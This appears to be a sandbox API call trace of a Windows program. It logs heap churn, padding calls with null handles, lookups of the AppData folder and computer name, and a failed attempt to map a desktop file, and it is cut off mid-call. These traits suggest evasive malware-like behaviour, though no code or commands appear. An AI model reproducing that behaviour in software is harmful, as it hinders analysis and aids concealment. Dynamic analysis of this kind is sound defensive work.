0x0 [0189.002] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0189.002] SetLastError (dwErrCode=0x0) [0189.002] GetLastError () returned 0x0 [0189.002] SetLastError (dwErrCode=0x0) [0189.002] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x674aa8 [0189.003] GetLastError () returned 0x0 [0189.003] SetLastError (dwErrCode=0x0) [0189.003] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x674aa8 | out: hHeap=0x650000) returned 1 [0189.003] GetLastError () returned 0x0 [0189.003] SetLastError (dwErrCode=0x0) [0189.003] GetLastError () returned 0x0 [0189.003] SetLastError (dwErrCode=0x0) [0189.003] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x6749d0 [0189.003] GetLastError () returned 0x0 [0189.003] SetLastError (dwErrCode=0x0) [0189.003] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6749d0 | out: hHeap=0x650000) returned 1 [0189.003] GetLastError () returned 0x0 [0189.003] SetLastError (dwErrCode=0x0) [0189.003] GetLastError () returned 0x0 [0189.003] SetLastError (dwErrCode=0x0) [0189.003] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x674868 [0189.003] GetLastError () returned 0x0 [0189.003] SetLastError (dwErrCode=0x0) [0189.004] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x674868 | out: hHeap=0x650000) returned 1 [0189.004] GetLastError () returned 0x0 [0189.004] SetLastError (dwErrCode=0x0) [0189.004] GetLastError () returned 0x0 [0189.004] SetLastError (dwErrCode=0x0) [0189.004] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x674aa8 [0189.004] GetLastError () returned 0x0 [0189.004] SetLastError (dwErrCode=0x0) [0189.004] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x674aa8 | out: hHeap=0x650000) returned 1 [0189.004] GetLastError () returned 0x0 [0189.004] SetLastError (dwErrCode=0x0) [0189.004] GetLastError () returned 0x0 [0189.004] SetLastError (dwErrCode=0x0) [0189.005] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x6749d0 [0189.005] GetLastError () returned 0x0 [0189.005] SetLastError (dwErrCode=0x0) [0189.005] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6749d0 | out: hHeap=0x650000) returned 1 [0189.005] GetLastError () returned 0x0 [0189.005] SetLastError (dwErrCode=0x0) [0189.005] GetLastError () returned 0x0 [0189.005] SetLastError (dwErrCode=0x0) [0189.005] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x674868 [0189.005] GetLastError () returned 0x0 [0189.005] SetLastError (dwErrCode=0x0) [0189.005] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x674868 | out: hHeap=0x650000) returned 1 [0189.005] GetLastError () returned 0x0 [0189.005] SetLastError (dwErrCode=0x0) [0189.005] GetLastError () returned 0x0 [0189.006] SetLastError (dwErrCode=0x0) [0189.006] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x6748f8 [0189.006] GetLastError () returned 0x0 [0189.006] SetLastError (dwErrCode=0x0) [0189.006] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6748f8 | out: hHeap=0x650000) returned 1 [0189.006] GetLastError () returned 0x0 [0189.006] SetLastError (dwErrCode=0x0) [0189.006] GetLastError () returned 0x0 [0189.006] SetLastError (dwErrCode=0x0) [0189.006] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x674868 [0189.006] GetLastError () returned 0x0 [0189.006] SetLastError (dwErrCode=0x0) [0189.006] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x674868 | out: hHeap=0x650000) returned 1 [0189.006] GetLastError () returned 0x0 [0189.006] SetLastError (dwErrCode=0x0) [0189.006] GetLastError () returned 0x0 [0189.006] SetLastError (dwErrCode=0x0) [0189.007] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x674868 [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.007] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x674868 | out: hHeap=0x650000) returned 1 [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.007] GetLastError () returned 0x0 [0189.007] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.008] SetLastError (dwErrCode=0x0) [0189.008] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.009] SetLastError (dwErrCode=0x0) [0189.009] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.010] SetLastError (dwErrCode=0x0) [0189.010] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.011] SetLastError (dwErrCode=0x0) [0189.011] GetLastError () returned 0x0 [0189.012] SetLastError (dwErrCode=0x0) [0189.012] GetLastError () returned 0x0 [0189.012] SetLastError (dwErrCode=0x0) [0189.012] GetLastError () returned 0x0 [0189.012] SetLastError (dwErrCode=0x0) [0189.012] GetLastError () returned 0x0 [0189.012] SetLastError (dwErrCode=0x0) [0189.012] GetLastError () returned 0x0 [0189.012] SetLastError (dwErrCode=0x0) [0189.012] GetLastError () returned 0x0 [0189.012] SetLastError (dwErrCode=0x0) [0189.012] GetLastError () returned 0x0 [0189.012] SetLastError (dwErrCode=0x0) [0189.012] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x6794b8 [0189.012] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.013] GetLastError () returned 0x0 [0189.013] SetLastError (dwErrCode=0x0) [0189.014] GetLastError () returned 0x0 [0189.014] SetLastError (dwErrCode=0x0) [0189.014] GetLastError () returned 0x0 [0189.014] SetLastError (dwErrCode=0x0) [0189.014] GetLastError () returned 0x0 [0189.014] SetLastError (dwErrCode=0x0) [0189.014] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x679428 [0189.014] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6794b8 | out: hHeap=0x650000) returned 1 [0189.014] GetLastError () returned 0x0 [0189.014] SetLastError (dwErrCode=0x0) [0189.014] GetLastError () returned 0x0 [0189.014] SetLastError (dwErrCode=0x0) [0189.014] GetLastError () returned 0x0 [0189.014] SetLastError (dwErrCode=0x0) [0189.014] GetLastError () returned 0x0 [0189.014] SetLastError (dwErrCode=0x0) [0189.014] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.015] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.015] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.015] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.015] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.015] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.015] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.015] GetLastError () returned 0x0 [0189.015] SetLastError (dwErrCode=0x0) [0189.016] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x657a78 [0189.016] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679428 | out: hHeap=0x650000) returned 1 [0189.016] GetLastError () returned 0x0 [0189.016] SetLastError (dwErrCode=0x0) [0189.016] GetLastError () returned 0x0 [0189.016] SetLastError (dwErrCode=0x0) [0189.016] GetLastError () returned 0x0 [0189.016] SetLastError (dwErrCode=0x0) [0189.016] GetLastError () returned 0x0 [0189.016] SetLastError (dwErrCode=0x0) [0189.016] GetLastError () returned 0x0 [0189.016] SetLastError (dwErrCode=0x0) [0189.016] GetLastError () returned 0x0 [0189.016] SetLastError (dwErrCode=0x0) [0189.016] GetLastError () returned 0x0 [0189.016] SetLastError (dwErrCode=0x0) [0189.017] GetLastError () returned 0x0 [0189.017] SetLastError (dwErrCode=0x0) [0189.017] GetLastError () returned 0x0 [0189.017] SetLastError (dwErrCode=0x0) [0189.017] GetLastError () returned 0x0 [0189.017] SetLastError (dwErrCode=0x0) [0189.017] GetLastError () returned 0x0 [0189.017] SetLastError (dwErrCode=0x0) [0189.017] GetLastError () returned 0x0 [0189.017] SetLastError (dwErrCode=0x0) [0189.017] GetLastError () returned 0x0 [0189.017] SetLastError (dwErrCode=0x0) [0189.017] GetLastError () returned 0x0 [0189.017] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.018] GetLastError () returned 0x0 [0189.018] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.019] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.019] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.019] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.019] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.019] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.019] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.019] SetLastError (dwErrCode=0x0) [0189.019] GetLastError () returned 0x0 [0189.020] SetLastError (dwErrCode=0x0) [0189.020] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x672b88 [0189.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x657a78 | out: hHeap=0x650000) returned 1 [0189.020] GetLastError () returned 0x0 [0189.020] SetLastError (dwErrCode=0x0) [0189.020] GetLastError () returned 0x0 [0189.020] SetLastError (dwErrCode=0x0) [0189.020] GetLastError () returned 0x0 [0189.020] SetLastError (dwErrCode=0x0) [0189.020] GetLastError () returned 0x0 [0189.020] SetLastError (dwErrCode=0x0) [0189.020] GetLastError () returned 0x0 [0189.020] SetLastError (dwErrCode=0x0) [0189.020] GetLastError () returned 0x0 [0189.020] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.021] GetLastError () returned 0x0 [0189.021] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.022] GetLastError () returned 0x0 [0189.022] SetLastError (dwErrCode=0x0) [0189.023] GetLastError () returned 0x0 [0189.023] SetLastError (dwErrCode=0x0) [0189.023] GetLastError () returned 0x0 [0189.023] SetLastError (dwErrCode=0x0) [0189.023] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x190) returned 0x67bd40 [0189.023] GetLastError () returned 0x0 [0189.023] SetLastError (dwErrCode=0x0) [0189.023] GetLastError () returned 0x0 [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.023] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.024] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.025] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.026] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.027] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.028] SetLastError (dwErrCode=0x0) [0189.029] SetLastError (dwErrCode=0x0) [0189.029] SetLastError (dwErrCode=0x0) [0189.029] SetLastError (dwErrCode=0x0) [0189.029] IsWindowEnabled (hWnd=0x0) returned 0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.030] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.031] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0189.031] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xc, uEnable=0x0) returned 1 [0189.031] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0189.031] FillRect (hDC=0x0, lprc=0x19f520, hbr=0x0) returned 0 [0189.031] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x657b08 [0189.031] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x657a18 [0189.031] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x657a00 [0189.031] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x657a78 [0189.031] GetProcAddress (hModule=0x77bb0000, lpProcName="memcpy") returned 0x77c27b00 [0189.031] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x65a778 [0189.031] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x657a18 | out: hHeap=0x650000) returned 1 [0189.031] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x657a00 | out: hHeap=0x650000) returned 1 [0189.031] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x657a78 | out: hHeap=0x650000) returned 1 [0189.031] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x65a778 | out: hHeap=0x650000) returned 1 [0189.032] GetStockObject (i=13) returned 0x8a01c2 [0189.032] GetObjectA (in: h=0x8a01c2, c=60, pv=0x499d14 | out: pv=0x499d14) returned 60 [0189.032] CreateAsyncBindCtx (in: reserved=0x0, pBSCb=0x0, pEFetc=0x0, ppBC=0x19f4bc*=0x0 | out: ppBC=0x19f4bc*=0x0) returned 0x80070057 [0189.032] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.038] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.038] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.038] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.038] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.038] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.038] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.038] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.038] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.038] CloseHandle (hObject=0x0) returned 0 [0189.038] CloseHandle (hObject=0xffffffff) returned 1 [0189.038] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.038] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.039] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.039] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: 